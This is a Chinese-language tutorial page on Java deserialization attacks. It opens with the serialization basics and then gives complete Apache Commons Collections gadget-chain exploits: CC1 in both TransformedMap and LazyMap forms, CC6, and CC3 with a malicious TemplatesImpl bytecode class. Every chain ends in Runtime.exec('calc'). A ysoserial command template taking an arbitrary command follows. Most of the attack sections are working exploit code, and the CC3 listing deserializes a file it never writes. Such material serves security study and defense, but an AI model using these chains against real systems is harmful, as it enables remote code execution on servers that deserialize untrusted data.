跳转至

Java反序列化

有些语言,比如 Java,使用二进制序列化格式来存储数据。这种格式较难理解,但只要知道一些识别特征,还是可以识别出被序列化后的数据。例如,被序列化的 Java 对象总是以特定的字节序列开头,这些字节在十六进制中表示为 ac ed,而在 Base64 编码中表示为 rO0 。

任何实现了 java.io.Serializable 接口的类都可以被序列化或反序列化。如果你有访问源代码的权限,请注意那些使用了 readObject() 方法的代码。 readObject() 方法用于从 InputStream 中读取和反序列化数据。

readObject/writeObject

readObject 和 writeObject 方法并不是每个 Java 类都具有的。它们是 Java 提供的特殊方法,用于在对象进行序列化和反序列化时进行自定义操作。

这两个方法通常是在实现 java.io.Serializable 接口的类中定义的。 java.io.Serializable 是一个标记接口,表示该类的对象可以被序列化和反序列化。

当一个类实现了 Serializable 接口后,它会默认继承以下方法:

  • private void writeObject(java.io.ObjectOutputStream out) throws IOException:用于自定义对象的序列化过程。可以在该方法中指定需要序列化的字段和自定义序列化逻辑。
  • private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException:用于自定义对象的反序列化过程。可以在该方法中指定如何从输入流中恢复对象的字段以及自定义反序列化逻辑。

这些方法是可选的,如果不需要进行自定义的序列化和反序列化操作,可以省略它们,而使用默认的序列化和反序列化机制。

需要注意的是,writeObject 和 readObject 方法必须具有 private 访问修饰符,以确保它们只能在对象内部被调用,而不会被外部代码调用。

代码示例

Java
import java.io.*;

public class Deserialization implements java.io.Serializable {
    public String name;
    public int age;

    Deserialization(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 序列化时自动调用
    private void writeObject(java.io.ObjectOutputStream s) throws IOException {
        s.defaultWriteObject();
        s.writeObject("This is a object");
    }

    // 反序列化时自动调用
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        String message = (String) s.readObject();
        System.out.println(message);
    }

    public static void main(String[] args) {
        // 创建一个 Deserialization 对象
        Deserialization obj = new Deserialization("John Doe", 30);

        try {
            // 序列化对象到文件
            FileOutputStream fileOut = new FileOutputStream("object.ser");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(obj);
            out.close();
            fileOut.close();
            System.out.println("Object serialized and saved to object.ser");

            // 反序列化对象
            FileInputStream fileIn = new FileInputStream("object.ser");
            ObjectInputStream in = new ObjectInputStream(fileIn);
            Deserialization deserializedObj = (Deserialization) in.readObject();
            in.close();
            fileIn.close();

            // 打印反序列化后的对象信息
            System.out.println("Deserialized Object:");
            System.out.println("Name: " + deserializedObj.name);
            System.out.println("Age: " + deserializedObj.age);
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

代码解释

代码定义了一个名为 Deserialization 的类,实现了 java.io.Serializable 接口,这意味着该类的对象可以被序列化和反序列化。Deserialization 类有两个公共成员变量 name 和 age,用于存储对象的名称和年龄。

构造函数 Deserialization(String name, int age) 用于初始化对象的名称和年龄。

代码中还定义了两个私有方法 writeObject(java.io.ObjectOutputStream s) 和 readObject(java.io.ObjectInputStream s),它们是 Java 提供的特殊方法,用于在序列化和反序列化过程中对对象进行自定义操作。

writeObject 方法在对象序列化时被调用,它通过调用 s.defaultWriteObject() 将 name 和 age 成员变量写入到输出流中,然后使用 s.writeObject("This is a object") 将一个字符串对象写入输出流中。

readObject 方法在对象反序列化时被调用,它通过调用 s.defaultReadObject() 从输入流中恢复 name 和 age 成员变量的值,然后使用 s.readObject() 读取输入流中的字符串对象,并将其转换为 message。

最后,在 readObject 方法中,字符串 message 被打印到控制台。

在使用该 Deserialization 类时,当对象被序列化和反序列化时,writeObject 和 readObject 方法将会被自动调用,实现自定义的对象序列化和反序列化操作。

commoncollections1 RCE链

环境准备

  • jdk版本:7
  • commons.collections包版本:3.1

TransformedMap 实现

原理部分代码

Java
package Deserialization;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
//                ConstantTransformer返回一个对象,这里是返回Runtime
                new InvokerTransformer("exec", new Class[]{String.class},
//                        InvokerTransformer用于执行函数命令
                        new Object[]
                                {"calc"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
//        ChainedTransformer创建一条回调链,将上一个回调的结果作为下一个的参数
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
//        在TransformedMap处理键的转化时就会触发回调从而触发我们的恶意代码
    }
}

Payload代码

Java
package Deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1Payload {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] {
                                "calc" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        sun.reflect.annotation.AnnotationInvocationHandler类中的readobject方法实现了向map插入key的操作,能触发我们的回调链
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
//        序列化
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
//        反序列化
        ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
//        调用readobject方法就会触发我们的回调链
        Object o = (Object)ois.readObject();
    }
}

LazyMap 实现

Java
package Deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1LazyMapPayload {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

commoncollections6 RCE链

Java
package Deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f =
                ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
// 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

commoncollections3 RCE链

恶意demo(用于动态码加载)

Java
package Deserialization;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

//用于cc链3加载恶意动态码
public class Maliciousdemo extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

payload代码

Java
package Deserialization;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
//反射修改值
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaaa");
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("Maliciousdemo.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<Object,Object>();
        map.put("value","asd");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);
//创建AnnotationInvocationHandler类
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotation = cl.getDeclaredConstructor(Class.class,Map.class);
        annotation.setAccessible(true);
        Object o = annotation.newInstance(Target.class,transformedmap);
        unserialize("web.bin");
    }
    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("1.序列化成功");
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("2.反序列化成功");
    }
}

代码解释

这段代码利用了 Apache Commons Collections 库中的漏洞(CVE-2015-4852)进行反序列化攻击。

首先,代码创建了一个 TemplatesImpl 实例,并使用反射来修改其私有属性 _name 和 _bytecodes。通过修改 _name 属性为 aaaa,将恶意的字节码读取到 _bytecodes 属性中,从而构造恶意的 TemplatesImpl 对象。

然后,代码创建了一个 InstantiateTransformer 实例,将恶意的 TemplatesImpl 对象作为参数传递给它。接下来,代码创建了一个转换器数组,并使用 TrAXFilter 和恶意的 InstantiateTransformer 对象进行初始化。

接着,代码创建了一个 ChainedTransformer 对象,它接受转换器数组作为参数,用于链接多个转换器。这样就能够按顺序执行多个转换器,实现连续的转换操作。

接下来,代码创建了一个普通的 HashMap 对象,并使用 TransformedMap.decorate() 方法对其进行修饰。通过传入恶意的转换器链作为参数,就可以在对该 HashMap 进行操作时触发转换器链中的转换器。

然后,代码使用反射创建了 AnnotationInvocationHandler 类的实例。它接受 Target 类和修饰后的 HashMap 对象作为参数,从而构造一个恶意的对象。

最后,代码调用 serialize() 方法将构造的恶意对象进行序列化,并将序列化后的数据保存到文件中。接着,代码调用 unserialize() 方法从文件中读取数据并进行反序列化操作。

通过这段代码的执行流程,利用了 Apache Commons Collections 库中的漏洞,在反序列化过程中触发恶意代码的执行。这种攻击方式常用于绕过安全防护措施和执行未授权的操作,因此应该注意防范和避免使用受影响的代码库版本。

ysoserial

在 Java 反序列化方面,有一个不错的工具叫做“ysoserial”。该工具允许用户从预先提供的各种处理流程中选择一种,来处理目标应用程序所使用的库。用户只需输入想要执行的命令,该工具就会根据所选的流程来生成相应的序列化对象。虽然这种方法仍然需要一些尝试和调整,但相比手动构建处理流程来说,显然要省力得多。

Note

在 Java 16 及更高版本中,要让 Java 能够运行 ysoserial,需要设置一系列命令行参数。例如:

Bash
java -jar ysoserial-all.jar \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens=java.base/java.net=ALL-UNNAMED \
  --add-opens=java.base/java.util=ALL-UNNAMED \
  [payload] '[command]'